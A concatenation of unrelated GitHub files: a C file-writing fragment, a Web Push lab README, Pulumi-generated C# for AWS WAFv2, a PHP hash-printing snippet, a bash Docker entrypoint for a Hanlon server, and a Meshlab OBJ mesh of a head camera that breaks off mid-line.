| O_TRUNC, 0666); if (fd < 0) perror("open()"); ret = write(fd, blob, size); if (ret != size) perror("write()"); close(fd); } exit(0); }
{ "pile_set_name": "Github" }
## Lab: Integrating Web Push In this lab you learn how to use the Notification API and Push API. It uses the web-push library to push a message with data to the service workers from a Node.js server. ## Getting started To get started, check out the instructions on [developers.google.com](https://developers.google.com/web/ilt/pwa/lab-integrating-web-push). ## Note This is not an official Google product.
{ "pile_set_name": "Github" }
// *** WARNING: this file was generated by the Pulumi Terraform Bridge (tfgen) Tool. *** // *** Do not edit by hand unless you're certain you know what you are doing! *** using System; using System.Collections.Generic; using System.Collections.Immutable; using System.Threading.Tasks; using Pulumi.Serialization; namespace Pulumi.Aws.WafV2.Inputs { public sealed class RuleGroupRuleStatementAndStatementStatementRegexPatternSetReferenceStatementFieldToMatchSingleHeaderArgs : Pulumi.ResourceArgs { /// <summary> /// The name of the query header to inspect. This setting must be provided as lower case characters. /// </summary> [Input("name", required: true)] public Input<string> Name { get; set; } = null!; public RuleGroupRuleStatementAndStatementStatementRegexPatternSetReferenceStatementFieldToMatchSingleHeaderArgs() { } } }
{ "pile_set_name": "Github" }
<?php $ent = __FILE__; echo $ent . ' (SHA1: ' . sha1_file($ent) . ')';
{ "pile_set_name": "Github" }
#!/usr/bin/env bash if [ "$PERSIST_MODE" = "@cassandra" ] then cat <<EOF > ${HANLON_WEB_PATH}/config/cassandra_db.conf hosts: $CASSANDRA_PORT_9042_TCP_ADDR port: 9042 keyspace: 'project_hanlon' repl_strategy: $REPL_STRATEGY repl_factor: $REPL_FACTOR EOF ./hanlon_init -j '{"persist_mode": "'$PERSIST_MODE'", "persist_options_file": "cassandra_db.conf", "hanlon_static_path": "'$HANLON_STATIC_PATH'", "hanlon_subnets": "'$HANLON_SUBNETS'", "hanlon_server": "'$DOCKER_HOST'", "ipmi_utility": "ipmitool"}' else ./hanlon_init -j '{"hanlon_static_path": "'$HANLON_STATIC_PATH'", "hanlon_subnets": "'$HANLON_SUBNETS'", "hanlon_server": "'$DOCKER_HOST'", "persist_host": "'$MONGO_PORT_27017_TCP_ADDR'", "ipmi_utility": "ipmitool"}' fi cd ${HANLON_WEB_PATH} PORT=`awk '/api_port/ {print $2}' config/hanlon_server.conf` puma -p ${PORT} $@ 2>&1 | tee /tmp/puma.log
{ "pile_set_name": "Github" }
#### # # OBJ File Generated by Meshlab # #### # Object head_camera.obj # # Vertices: 480 # Faces: 256 # #### vn 0.000000 -0.315211 0.949022 v -0.041643 0.028613 0.097818 vn 0.000000 -0.315211 0.949022 v 0.017057 -0.027387 0.079218 vn 0.000000 -0.315211 0.949022 v 0.017057 0.028613 0.097818 vn 0.000000 -0.315211 0.949022 v -0.041643 -0.027387 0.079218 vn 1.000000 0.000000 0.000000 v 0.017057 0.028613 0.097818 vn 1.000000 0.000000 0.000000 v 0.017057 -0.014687 0.040918 vn 1.000000 0.000000 0.000000 v 0.017057 0.041313 0.059418 vn 1.000000 0.000000 0.000000 v 0.017057 -0.027387 0.079218 vn 0.000000 0.949422 0.314002 v -0.041643 0.028613 0.097818 vn 0.000000 0.949422 0.314002 v 0.017057 0.041313 0.059418 vn 0.000000 0.949422 0.314002 v -0.041643 0.041313 0.059418 vn 0.000000 0.949422 0.314002 v 0.017057 0.028613 0.097818 vn -1.000000 0.000000 0.000000 v -0.041643 -0.027387 0.079218 vn -1.000000 0.000000 0.000000 v -0.041643 0.041313 0.059418 vn -1.000000 0.000000 0.000000 v -0.041643 -0.014687 0.040918 vn -1.000000 0.000000 0.000000 v -0.041643 0.028613 0.097818 vn 0.000000 -0.949178 -0.314740 v 0.017057 -0.027387 0.079218 vn 0.000000 -0.949178 -0.314740 v -0.041643 -0.014687 0.040918 vn 0.000000 -0.949178 -0.314740 v 0.017057 -0.014687 0.040918 vn 0.000000 -0.949178 -0.314740 v -0.041643 -0.027387 0.079218 vn -0.000000 0.315657 -0.948873 v 0.003657 -0.036187 0.105818 vn -0.000000 0.315566 -0.948904 v 0.017257 0.006813 0.120118 vn 0.000997 0.315282 -0.948998 v 0.017257 -0.023287 0.110118 vn -0.000095 0.315718 -0.948853 v 0.003657 0.019713 0.124418 vn -0.000095 0.315718 -0.948853 v -0.027843 -0.036187 0.105818 vn 0.000000 0.315657 -0.948873 v -0.027843 0.019713 0.124418 vn 0.000000 0.315566 -0.948904 v -0.041543 -0.023287 0.110118 vn 0.000990 0.315282 -0.948998 v -0.041543 0.006813 0.120118 vn 0.000000 -0.313944 0.949441 v 0.017257 -0.029087 0.127718 vn 0.000000 -0.316228 0.948683 v -0.027843 -0.041987 0.123418 vn 0.000000 -0.316228 0.948683 v 0.003657 -0.041987 0.123418 vn 0.000000 -0.313108 0.949718 v -0.041543 -0.029087 0.127718 vn 0.000000 -0.313108 0.949718 v 0.017257 0.001013 0.137618 vn 0.000000 -0.313944 0.949441 v -0.041543 0.001013 0.137618 vn 0.000000 -0.316228 0.948683 v 0.003657 0.013913 0.141918 vn 0.000000 -0.316228 0.948683 v -0.027843 0.013913 0.141918 vn 1.000000 0.000000 0.000000 v 0.017257 0.001013 0.137618 vn 1.000000 0.000000 0.000000 v 0.017257 -0.023287 0.110118 vn 1.000000 0.000000 0.000000 v 0.017257 0.006813 0.120118 vn 1.000000 0.000000 0.000000 v 0.017257 -0.029087 0.127718 vn 0.000000 0.949224 0.314600 v -0.027843 0.013913 0.141918 vn 0.000000 0.949224 0.314600 v 0.003657 0.019713 0.124418 vn 0.000000 0.949224 0.314600 v -0.027843 0.019713 0.124418 vn 0.000000 0.949224 0.314600 v 0.003657 0.013913 0.141918 vn -1.000000 0.000000 0.000000 v -0.041543 -0.029087 0.127718 vn -1.000000 0.000000 0.000000 v -0.041543 0.006813 0.120118 vn -1.000000 0.000000 0.000000 v -0.041543 -0.023287 0.110118 vn -1.000000 0.000000 0.000000 v -0.041543 0.001013 0.137618 vn 0.000000 -0.949757 -0.312988 v 0.003657 -0.041987 0.123418 vn 0.000000 -0.949757 -0.312988 v -0.027843 -0.036187 0.105818 vn 0.000000 -0.949757 -0.312988 v 0.003657 -0.036187 0.105818 vn 0.000000 -0.949757 -0.312988 v -0.027843 -0.041987 0.123418 vn 0.707049 0.671258 0.222474 v 0.003657 0.013913 0.141918 vn 0.707049 0.671258 0.222474 v 0.017257 0.006813 0.120118 vn 0.707049 0.671258 0.222474 v 0.003657 0.019713 0.124418 vn 0.707049 0.671258 0.222474 v 0.017257 0.001013 0.137618 vn 0.707047 -0.671636 -0.221335 v 0.003657 -0.036187 0.105818 vn 0.707047 -0.671636 -0.221335 v 0.017257 -0.029087 0.127718 vn 0.707047 -0.671636 -0.221335 v 0.003657 -0.041987 0.123418 vn 0.707047 -0.671636 -0.221335 v 0.017257 -0.023287 0.110118 vn -0.704454 0.673712 0.223287 v -0.041543 0.001013 0.137618 vn -0.704454 0.673712 0.223287 v -0.027843 0.019713 0.124418 vn -0.704454 0.673712 0.223287 v -0.041543 0.006813 0.120118 vn -0.704454 0.673712 0.223287 v -0.027843 0.013913 0.141918 vn -0.704452 -0.674091 -0.222144 v -0.027843 -0.041987 0.123418 vn -0.704452 -0.674091 -0.222144 v -0.041543 -0.023287 0.110118 vn -0.704452 -0.674091 -0.222144 v -0.027843 -0.036187 0.105818 vn -0.704452 -0.674091 -0.222144 v -0.041543 -0.029087 0.127718 vn -0.756407 0.621289 0.204571 v -0.032743 0.001713 0.122018 vn -0.189550 0.932616 0.307081 v -0.012343 0.023713 0.092918 vn -0.944934 0.310844 0.102351 v -0.032743 0.012513 0.089218 vn 0.189849 0.932561 0.307063 v -0.012343 0.012913 0.125718 vn -1.000000 0.000000 0.000000 v -0.032743 -0.020687 0.114618 vn -1.000000 0.000000 0.000000 v -0.032743 -0.009787 0.081818 vn -0.189661 -0.932313 -0.307930 v -0.012343 -0.031787 0.110918 vn -0.499041 -0.822733 -0.272154 v -0.032743 -0.009787 0.081818 vn 0.188487 -0.932529 -0.307998 v -0.012343 -0.020987 0.078118 vn -0.497526 -0.823185 -0.273558 v -0.032743 -0.020687 0.114618 vn 0.757418 -0.619895 -0.205057 v 0.007957 -0.020687 0.114618 vn 0.945356 -0.309402 -0.102819 v 0.007957 -0.009787 0.081818 vn 0.945429 0.309482 0.101903 v 0.007957 0.001713 0.122018 vn 0.757344 0.620258 0.204231 v 0.007957 0.012513 0.089218 vn 0.000000 0.951114 -0.308839 v -0.071643 0.049013 0.053718 vn 0.000000 0.994182 -0.107711 v -0.065743 0.060313 0.088518 vn 0.000000 0.951114 -0.308839 v -0.065743 0.049013 0.053718 vn 0.000000 0.994171 0.107813 v -0.071643 0.060313 0.088518 vn 0.000000 0.950853 0.309644 v -0.071643 0.049013 0.123218 vn 0.000000 0.951893 -0.306431 v -0.043043 0.026013 0.088518 vn 0.000000 0.951893 -0.306431 v -0.065743 0.021313 0.073918 vn 0.000000 0.951893 -0.306431 v -0.065743 0.026013 0.088518 vn 0.000000 0.951893 -0.306431 v -0.043043 0.021313 0.073918 vn 0.000000 0.588556 -0.808456 v -0.043043 0.021313 0.073918 vn 0.000000 0.588556 -0.808456 v -0.065743 0.008813 0.064818 vn 0.000000 0.588556 -0.808456 v -0.065743 0.021313 0.073918 vn 0.000000 0.588556 -0.808456 v -0.043043 0.008813 0.064818 vn 0.000000 -0.588556 -0.808456 v -0.043043 -0.006487 0.064818 vn 0.000000 -0.588556 -0.808456 v -0.065743 -0.018987 0.073918 vn 0.000000 -0.588556 -0.808456 v -0.065743 -0.006487 0.064818 vn 0.000000 -0.588556 -0.808456 v -0.043043 -0.018987 0.073918 vn 0.000000 -0.951893 -0.306431 v -0.043043 -0.018987 0.073918 vn 0.000000 -0.951893 -0.306431 v -0.065743 -0.023687 0.088518 vn 0.000000 -0.951893 -0.306431 v -0.065743 -0.018987 0.073918 vn 0.000000 -0.951893 -0.306431 v -0.043043 -0.023687 0.088518 vn 0.000000 -0.951893 0.306431 v -0.043043 -0.023687 0.088518 vn 0.000000 -0.951893 0.306431 v -0.065743 -0.018987 0.103118 vn 0.000000 -0.951893 0.306431 v -0.065743 -0.023687 0.088518 vn 0.000000 -0.951893 0.306431 v -0.043043 -0.018987 0.103118 vn 0.000000 -0.584305 0.811535 v -0.043043 -0.018987 0.103118 vn 0.000000 -0.584305 0.811535 v -0.065743 -0.006487 0.112118 vn 0.000000 -0.584305 0.811535 v -0.065743 -0.018987 0.103118 vn 0.000000 -0.584305 0.811535 v -0.043043 -0.006487 0.112118 vn 0.000000 0.000000 1.000000 v -0.043043 -0.006487 0.112118 vn 0.000000 0.000000 1.000000 v -0.065743 0.008813 0.112118 vn 0.000000 0.000000 1.000000 v -0.065743 -0.006487 0.112118 vn 0.000000 0.000000 1.000000 v -0.043043 0.008813 0.112118 vn 0.000000 0.584305 0.811535 v -0.043043 0.008813 0.112118 vn 0.000000 0.584305 0.811535 v -0.065743 0.021313 0.103118 vn 0.000000 0.584305 0.811535 v -0.065743 0.008813 0.112118 vn 0.000000 0.584305 0.811535 v -0.043043 0.021313 0.103118 vn 0.000000 0.951893 0.306431 v -0.043043 0.021313 0.103118 vn 0.000000 0.951893 0.306431 v -0.065743 0.026013 0.088518 vn 0.000000 0.951893 0.306431 v -0.065743 0.021313 0.103118 vn 0.000000 0.951893 0.306431 v -0.043043 0.026013 0.088518 vn 1.000000 0.000000 0.000000 v -0.043043 0.026013 0.088518 vn 1.000000 0.000000 0.000000 v -0.043043 0.008813 0.064818 vn 1.000000 0.000000 0.000000 v -0.043043 0.021313 0.073918 vn 1.000000 0.000000 0.000000 v -0.043043 -0.006487 0.064818 vn 1.000000 0.000000 0.000000 v -0.043043 0.021313 0.103118 vn 1.000000 0.000000 0.000000 v -0.043043 -0.018987 0.073918 vn 1.000000 0.000000 0.000000 v -0.043043 0.008813 0.112118 vn 1.000000 0.000000 0.000000 v -0.043043 -0.023687 0.088518 vn 1.000000 0.000000 0.000000 v -0.043043 -0.006487 0.112118 vn 1.000000 0.000000 0.000000 v -0.043043 -0.018987 0.103118 vn -0.756493 -0.132579 -0.640423 v -0.061543 -0.021687 0.080018 vn -0.500341 -0.175520 -0.847851 v -0.054043 -0.036787 0.078718 vn -0.944479 -0.067463 -0.321573 v -0.061543 -0.035987 0.083018 vn -0.496961 -0.173637 -0.850223 v -0.054043 -0.022587 0.075818 vn -0.944129 0.065504 0.323002 v -0.061543 -0.020087 0.088518 vn -0.754444 0.133058 0.642736 v -0.061543 -0.034387 0.091418 vn -0.192288 0.200238 0.960692 v -0.054043 -0.019287 0.092718 vn 0.187312 0.200434 0.961634 v -0.054043 -0.033487 0.095718 vn 0.756288 0.132627 0.640655 v -0.046543 -0.020087 0.088518 vn 0.944687 0.065185 0.321429 v -0.046543 -0.034387 0.091418 vn 0.944111 -0.067679 -0.322605 v -0.046543 -0.021687 0.080018 vn 0.754651 -0.133009 -0.642503 v -0.046543 -0.035987 0.083018 vn 0.500341 -0.175520 -0.847851 v -0.054043 -0.022587 0.075818 vn 0.503709 -0.172857 -0.846403 v -0.054043 -0.036787 0.078718 vn -0.111615 -0.992804 0.043390 v -0.054043 -0.036887 0.081718 vn -0.089158 -0.982158 0.165580 v -0.058943 -0.035987 0.084418 vn -0.111615 -0.992804 0.043390 v -0.061543 -0.035987 0.083018 vn -0.124726 -0.991640 -0.033055 v -0.054043 -0.036787 0.078718 vn 0.018715 -0.973155 0.229387 v -0.058943 -0.035987 0.084418 vn 0.189709 -0.939504 0.285207 v -0.058943 -0.034287 0.090018 vn 0.018715 -0.973155 0.229387 v -0.061543 -0.034387 0.091418 vn -0.100245 -0.977390 0.186170 v -0.061543 -0.035987 0.083018 vn 0.126997 -0.991450 0.029978 v -0.058943 -0.034287 0.090018 vn 0.197933 -0.979672 -0.032655 v -0.054043 -0.033387 0.092718 vn 0.126997 -0.991450 0.029978 v -0.054043 -0.033487 0.095718 vn 0.077510 -0.994321 0.072922 v -0.061543 -0.034387 0.091418 vn -0.126997 -0.991450 0.029978 v -0.054043 -0.033387 0.092718 vn -0.108618 -0.985370 0.131334 v -0.049143 -0.034287 0.090018 vn -0.126997 -0.991450 0.029978 v -0.046543 -0.034387 0.091418 vn -0.137709 -0.989923 -0.032997 v -0.054043 -0.033487 0.095718 vn -0.018715 -0.973155 0.229387 v -0.049143 -0.034287 0.090018 vn 0.154535 -0.945386 0.286993 v -0.049143 -0.035987 0.084418 vn -0.018715 -0.973155 0.229387 v -0.046543 -0.035987 0.083018 vn -0.137225 -0.973046 0.185342 v -0.046543 -0.034387 0.091418 vn 0.111615 -0.992804 0.043391 v -0.049143 -0.035987 0.084418 vn 0.197934 -0.979671 -0.032656 v -0.054043 -0.036887 0.081718 vn 0.111615 -0.992804 0.043391 v -0.054043 -0.036787 0.078718 vn 0.051356 -0.994116 0.095376 v -0.046543 -0.035987 0.083018 vn -0.511224 -0.343023 -0.788026 v -0.054043 -0.045587 0.085418 vn -0.511224 -0.343023 -0.788026 v -0.058943 -0.035987 0.084418 vn -0.501039 -0.338697 -0.796394 v -0.054043 -0.036887 0.081718 vn -0.521568 -0.347393 -0.779285 v -0.058943 -0.044287 0.088118 vn -0.505181 0.351004 0.788409 v -0.058943 -0.041787 0.093318 vn -0.505181 0.351004 0.788409 v -0.054043 -0.033387 0.092718 vn -0.500636 0.348634 0.792350 v -0.058943 -0.034287 0.090018 vn -0.509911 0.353466 0.784253 v -0.054043 -0.040487 0.095918 vn 0.505181 0.351004 0.788409 v -0.054043 -0.040487 0.095918 vn 0.505181 0.351004 0.788409 v -0.049143 -0.034287 0.090018 vn 0.500309 0.355776 0.789376 v -0.054043 -0.033387 0.092718 vn 0.509760 0.346483 0.787461 v -0.049143 -0.041787 0.093318 vn 0.511224 -0.343023 -0.788026 v -0.049143 -0.044287 0.088118 vn 0.511224 -0.343023 -0.788026 v -0.054043 -0.036887 0.081718 vn 0.500463 -0.352502 -0.790746 v -0.049143 -0.035987 0.084418 vn 0.521319 -0.333976 -0.785294 v -0.054043 -0.045587 0.085418 vn -0.498376 -0.653909 -0.569231 v -0.054043 -0.052287 0.093018 vn -0.498376 -0.653909 -0.569231 v -0.058943 -0.044287 0.088118 vn -0.490857 -0.653540 -0.576147 v -0.054043 -0.045587 0.085418 vn -0.507388 -0.654265 -0.560799 v -0.058943 -0.049687 0.094418 vn -1.000000 0.000000 0.000000 v -0.058943 -0.049687 0.094418 vn -1.000000 0.000000 0.000000 v -0.058943 -0.035987 0.084418 vn -1.000000 0.000000 0.000000 v -0.058943 -0.044287 0.088118 vn -1.000000 0.000000 0.000000 v -0.058943 -0.041787 0.093318 vn -1.000000 0.000000 0.000000 v -0.058943 -0.034287 0.090018 vn -1.000000 0.000000 0.000000 v -0.058943 -0.044687 0.097318 vn -0.486689 0.728503 0.482097 v -0.058943 -0.044687 0.097318 vn -0.516041 0.743706 0.424975 v -0.054043 -0.042087 0.098718 vn -0.486689 0.728503 0.482097 v -0.054043 -0.040487 0.095918 vn -0.465698 0.716459 0.519433 v -0.058943 -0.041787 0.093318 vn 0.486689 0.728503 0.482097 v -0.054043 -0.042087 0.098718 vn 0.512787 0.695063 0.503921 v -0.049143 -0.044687 0.097318 vn 0.486689 0.728503 0.482097 v -0.049143 -0.041787 0.093318 vn 0.442622 0.778561 0.444892 v -0.054043 -0.040487 0.095918 vn 1.000000 0.000000 0.000000 v -0.049143 -0.035987 0.084418 vn 1.000000 0.000000 0.000000 v -0.049143 -0.049687 0.094418 vn 1.000000 0.000000 0.000000 v -0.049143 -0.044287 0.088118 vn 1.000000 0.000000 0.000000 v -0.049143 -0.041787 0.093318 vn 1.000000 0.000000 0.000000 v -0.049143 -0.044687 0.097318 vn 1.000000 0.000000 0.000000 v -0.049143 -0.034287 0.090018 vn 0.498377 -0.653909 -0.569231 v -0.049143 -0.049687 0.094418 vn 0.498377 -0.653909 -0.569231 v -0.054043 -0.045587 0.085418 vn 0.488627 -0.662446 -0.567811 v -0.049143 -0.044287 0.088118 vn 0.506207 -0.646917 -0.570309 v -0.054043 -0.052287 0.093018 vn -0.468424 -0.875159 0.121146 v -0.054043 -0.050787 0.105418 vn -0.508767 -0.849160 0.141717 v -0.057743 -0.048687 0.104718 vn -0.468424 -0.875159 0.121146 v -0.058943 -0.049687 0.094418 vn -0.441794 -0.890624 0.107737 v -0.054043 -0.052287 0.093018 vn -0.988709 -0.022544 0.148145 v -0.057743 -0.048687 0.104718 vn -0.977982 0.070190 0.196532 v -0.057743 -0.044487 0.103218 vn -0.988709 -0.022544 0.148145 v -0.058943 -0.044687 0.097318 vn -0.989969 -0.070887 0.122218 v -0.058943 -0.049687 0.094418 vn -0.482734 0.873067 0.068720 v -0.057743 -0.044487 0.103218 vn -0.482734 0.873067 0.068720 v -0.054043 -0.042087 0.098718 vn -0.482837 0.873018 0.068610 v -0.058943 -0.044687 0.097318 vn -0.482535 0.873160 0.068934 v -0.054043 -0.042387 0.102518 vn 0.482734 0.873066 0.068721 v -0.054043 -0.042387 0.102518 vn 0.482734 0.873066 0.068721 v -0.049143 -0.044687 0.097318 vn 0.482895 0.872962 0.068918 v -0.054043 -0.042087 0.098718 vn 0.482602 0.873152 0.068558 v -0.050343 -0.044487 0.103218 vn 0.988709 -0.022544 0.148145 v -0.050343 -0.044487 0.103218 vn 0.992928 0.039930 0.111804 v -0.050343 -0.048687 0.104718 vn 0.988709 -0.022544 0.148145 v -0.049143 -0.049687 0.094418 vn 0.972423 -0.117014 0.201747 v -0.049143 -0.044687 0.097318 vn 0.468424 -0.875159 0.121146 v -0.050343 -0.048687 0.104718 vn 0.505703 -0.856464 0.103605 v -0.054043 -0.050787 0.105418 vn 0.468424 -0.875159 0.121146 v -0.054043 -0.052287 0.093018 vn 0.433477 -0.890694 0.136977 v -0.049143 -0.049687 0.094418 vn -0.509566 -0.828571 0.231974 v -0.054043 -0.046287 0.121418 vn -0.509566 -0.828571 0.231974 v -0.057743 -0.048687 0.104718 vn -0.512975 -0.826343 0.232409 v -0.054043 -0.050787 0.105418 vn -0.504856 -0.831618 0.231368 v -0.056743 -0.044787 0.120918 vn -0.998216 0.018645 0.056713 v -0.056743 -0.044787 0.120918 vn -0.998216 0.018645 0.056713 v -0.057743 -0.044487 0.103218 vn -0.998183 0.020264 0.056738 v -0.057743 -0.048687 0.104718 vn -0.998257 0.016455 0.056678 v -0.056743 -0.041687 0.120018 vn -0.513108 0.850827 -0.113198 v -0.056743 -0.041687 0.120018 vn -0.513108 0.850827 -0.113198 v -0.054043 -0.042387 0.102518 vn -0.506470 0.854908 -0.112338 v -0.057743 -0.044487 0.103218 vn -0.522046 0.845217 -0.114353 v -0.054043 -0.040087 0.119518 vn 0.513109 0.850826 -0.113198 v -0.054043 -0.040087 0.119518 vn 0.513109 0.850826 -0.113198 v -0.050343 -0.044487 0.103218 vn 0.506746 0.854312 -0.115583 v -0.054043 -0.042387 0.102518 vn 0.521703 0.846013 -0.109948 v -0.051343 -0.041687 0.120018 vn 0.998216 0.018645 0.056713 v -0.051343 -0.041687 0.120018 vn 0.998216 0.018645 0.056713 v -0.050343 -0.048687 0.104718 vn 0.998225 0.020029 0.056080 v -0.050343 -0.044487 0.103218 vn 0.998200 0.016720 0.057592 v -0.051343 -0.044787 0.120918 vn 0.509567 -0.828571 0.231974 v -0.051343 -0.044787 0.120918 vn 0.509567 -0.828571 0.231974 v -0.054043 -0.050787 0.105418 vn 0.512937 -0.826840 0.230717 v -0.050343 -0.048687 0.104718 vn 0.504908 -0.830934 0.233700 v -0.054043 -0.046287 0.121418 vn -0.023802 0.257836 0.965895 v -0.054043 -0.045287 0.121118 vn -0.031451 0.220155 0.974958 v -0.055643 -0.044187 0.120818 vn -0.023802 0.257836 0.965895 v -0.056743 -0.044787 0.120918 vn -0.017737 0.287300 0.957676 v -0.054043 -0.046287 0.121418 vn -0.013605 0.299312 0.954058 v -0.055643 -0.044187 0.120818 vn 0.064220 0.329668 0.941910 v -0.055643 -0.042187 0.120118 vn -0.013605 0.299312 0.954058 v -0.056743 -0.041687 0.120018 vn -0.064638 0.278227 0.958338 v -0.056743 -0.044787 0.120918 vn 0.065834 0.227432 0.971566 v -0.055643 -0.042187 0.120118 vn 0.132970 0.177300 0.975133 v -0.054043 -0.041187 0.119718 vn 0.065834 0.227432 0.971566 v -0.054043 -0.040087 0.119518 vn 0.027971 0.254854 0.966575 v -0.056743 -0.041687 0.120018 vn -0.065834 0.227432 0.971566 v -0.054043 -0.041187 0.119718 vn -0.050124 0.300753 0.952384 v -0.052443 -0.042187 0.120118 vn -0.065834 0.227432 0.971566 v -0.051343 -0.041687 0.120018 vn -0.075970 0.178371 0.981026 v -0.054043 -0.040087 0.119518 vn 0.013605 0.299312 0.954058 v -0.052443 -0.042187 0.120118 vn 0.093967 0.328888 0.939682 v -0.052443 -0.044187 0.120818 vn 0.013605 0.299312 0.954058 v -0.051343 -0.044787 0.120918 vn -0.039396 0.278594 0.959601 v -0.051343 -0.041687 0.120018 vn 0.023802 0.257836 0.965895 v -0.052443 -0.044187 0.120818 vn -0.017951 0.287299 0.957673 v -0.054043 -0.045287 0.121118 vn 0.023802 0.257836 0.965895 v -0.054043 -0.046287 0.121418 vn 0.044450 0.242994 0.969009 v -0.051343 -0.044787 0.120918 vn -0.564766 -0.769834 0.297315 v -0.054043 -0.042387 0.128518 vn -0.550294 -0.780444 0.296788 v -0.055643 -0.041487 0.127918 vn -0.564766 -0.769834 0.297315 v -0.055643 -0.044187 0.120818 vn -0.578117 -0.759700 0.297720 v -0.054043 -0.045287 0.121118 vn -1.000000 0.000000 0.000000 v -0.055643 -0.041487 0.127918 vn -1.000000 0.000000 0.000000 v -0.055643 -0.042187 0.120118 vn -1.000000 0.000000 0.000000 v -0.055643 -0.044187 0.120818 vn -1.000000 0.000000 0.000000 v -0.055643 -0.039787 0.126718 vn -0.553523 0.783218 -0.283163 v -0.055643 -0.039787 0.126718 vn -0.553523 0.783218 -0.283163 v -0.054043 -0.041187 0.119718 vn -0.558222 0.779738 -0.283542 v -0.055643 -0.042187 0.120118 vn -0.548613 0.786811 -0.282760 v -0.054043 -0.038887 0.126118 vn 0.553524 0.783217 -0.283163 v -0.054043 -0.038887 0.126118 vn 0.553524 0.783217 -0.283163 v -0.052443 -0.042187 0.120118 vn 0.558175 0.780832 -0.280611 v -0.054043 -0.041187 0.119718 vn 0.548969 0.785519 -0.285644 v -0.052443 -0.039787 0.126718 vn 1.000000 0.000000 0.000000 v -0.052443 -0.039787 0.126718 vn 1.000000 0.000000 0.000000 v -0.052443 -0.044187 0.120818 vn 1.000000 0.000000 0.000000 v -0.052443 -0.042187 0.120118 vn 1.000000 0.000000 0.000000 v -0.052443 -0.041487 0.127918 vn 0.564766 -0.769833 0.297314 v -0.052443 -0.041487 0.127918 vn 0.551160 -0.776873 0.304450 v -0.054043 -0.042387 0.128518 vn 0.564766 -0.769833 0.297314 v -0.054043 -0.045287 0.121118 vn 0.578516 -0.762404 0.289928 v -0.052443 -0.044187 0.120818 vn -0.578660 -0.286898 0.763441 v -0.051843 -0.032387 0.134218 vn -0.578660 -0.286898 0.763441 v -0.053443 -0.032087 0.133118 vn -0.578660 -0.286898 0.763441 v -0.055643 -0.041487 0.127918 vn -0.493813 -0.346071 0.797736 v -0.055643 -0.041487 0.127918 vn -0.493813 -0.346071 0.797736 v -0.054043 -0.042387 0.128518 vn -0.493813 -0.346071 0.797736 v -0.051843 -0.032387 0.134218 vn -0.976589 0.174675 0.125547 v -0.053443 -0.032087 0.133118 vn -0.972660 0.222438 0.066731 v -0.053443 -0.031487 0.131118 vn -0.976589 0.174675 0.125547 v -0.055643 -0.039787 0.126718 vn -0.975079 0.127943 0.181252 v -0.055643 -0.041487 0.127918 vn -0.545043 0.499281 -0.673532 v -0.053443 -0.031487 0.131118 vn -0.545043 0.499281 -0.673532 v -0.054043 -0.038887 0.126118 vn -0.536663 0.501848 -0.678337 v -0.055643 -0.039787 0.126718 vn -0.553001 0.496782 -0.668878 v -0.051843 -0.031187 0.130018 vn 0.540952 0.268147 -0.797162 v -0.051843 -0.031187 0.130018 vn 0.604651 0.248224 -0.756824 v -0.050343 -0.031487 0.131118 vn 0.540952 0.268147 -0.797162 v -0.052443 -0.039787 0.126718 vn 0.473511 0.286554 -0.832871 v -0.054043 -0.038887 0.126118 vn 0.978603 -0.167079 -0.120088 v -0.050343 -0.031487 0.131118 vn 0.980573 -0.187884 -0.056365 v -0.050343 -0.032087 0.133118 vn 0.978603 -0.167079 -0.120088 v -0.052443 -0.041487 0.127918 vn 0.970014 -0.140163 -0.198563 v -0.052443 -0.039787 0.126718 vn 0.557188 -0.497186 0.665092 v -0.050343 -0.032087 0.133118 vn 0.575639 -0.496833 0.649459 v -0.051843 -0.032387 0.134218 vn 0.557188 -0.497186 0.665092 v -0.054043 -0.042387 0.128518 vn 0.535642 -0.497234 0.682529 v -0.052443 -0.041487 0.127918 vn -0.555491 0.137895 0.820009 v -0.049543 -0.015187 0.132918 vn -0.555491 0.137895 0.820009 v -0.053443 -0.032087 0.133118 vn -0.543963 0.135330 0.828125 v -0.051843 -0.032387 0.134218 vn -0.568516 0.140788 0.810536 v -0.051043 -0.015487 0.131918 vn -0.988936 0.148340 0.000000 v -0.051043 -0.015487 0.131918 vn -0.987707 0.150303 -0.042944 v -0.051043 -0.016087 0.129818 vn -0.988936 0.148340 0.000000 v -0.053443 -0.031487 0.131118 vn -0.988306 0.146055 0.043816 v -0.053443 -0.032087 0.133118 vn -0.560337 0.018720 -0.828053 v -0.051043 -0.016087 0.129818 vn -0.560337 0.018720 -0.828053 v -0.051843 -0.031187 0.130018 vn -0.568873 0.019249 -0.822200 v -0.053443 -0.031487 0.131118 vn -0.551253 0.018158 -0.834141 v -0.049543 -0.016487 0.128818 vn 0.557507 -0.154794 -0.815613 v -0.049543 -0.016487 0.128818 vn 0.557507 -0.154794 -0.815613 v -0.050343 -0.031487 0.131118 vn 0.563993 -0.154464 -0.811205 v -0.051843 -0.031187 0.130018 vn 0.551179 -0.155105 -0.819844 v -0.047943 -0.016087 0.129818 vn 0.988936 -0.148340 0.000000 v -0.047943 -0.016087 0.129818 vn 0.989322 -0.140140 0.040040 v -0.047943 -0.015487 0.131918 vn 0.988936 -0.148340 0.000000 v -0.050343 -0.032087 0.133118 vn 0.986351 -0.157711 -0.047313 v -0.050343 -0.031487 0.131118 vn 0.560771 -0.016749 0.827802 v -0.047943 -0.015487 0.131918 vn 0.529095 -0.006617 0.848537 v -0.049543 -0.015187 0.132918 vn 0.560771 -0.016749 0.827802 v -0.051843 -0.032387 0.134218 vn 0.594759 -0.027910 0.803420 v -0.050343 -0.032087 0.133118 vn -0.581684 0.407619 0.703911 v -0.045643 0.018813 0.116518 vn -0.601862 0.404035 0.688853 v -0.047143 0.018113 0.115618 vn -0.581684 0.407619 0.703911 v -0.051043 -0.015487 0.131918 vn -0.561176 0.410932 0.718482 v -0.049543 -0.015187 0.132918 vn -0.994492 0.095169 -0.043924 v -0.047143 0.018113 0.115618 vn -0.994288 0.088803 -0.059202 v -0.047143 0.016913 0.113818 vn -0.994492 0.095169 -0.043924 v -0.051043 -0.016087 0.129818 vn -0.994427 0.101374 -0.028964 v -0.051043 -0.015487 0.131918 vn -0.555458 -0.307129 -0.772747 v -0.047143 0.016913 0.113818 vn -0.555458 -0.307129 -0.772747 v -0.045643 0.016213 0.113018 vn -0.555458 -0.307129 -0.772747 v -0.049543 -0.016487 0.128818 vn -0.583241 -0.297541 -0.755843 v -0.051043 -0.016087 0.129818 vn -0.583241 -0.297541 -0.755843 v -0.047143 0.016913 0.113818 vn 0.550245 -0.415808 -0.724109 v -0.045643 0.016213 0.113018 vn 0.550245 -0.415808 -0.724109 v -0.047943 -0.016087 0.129818 vn 0.554573 -0.414721 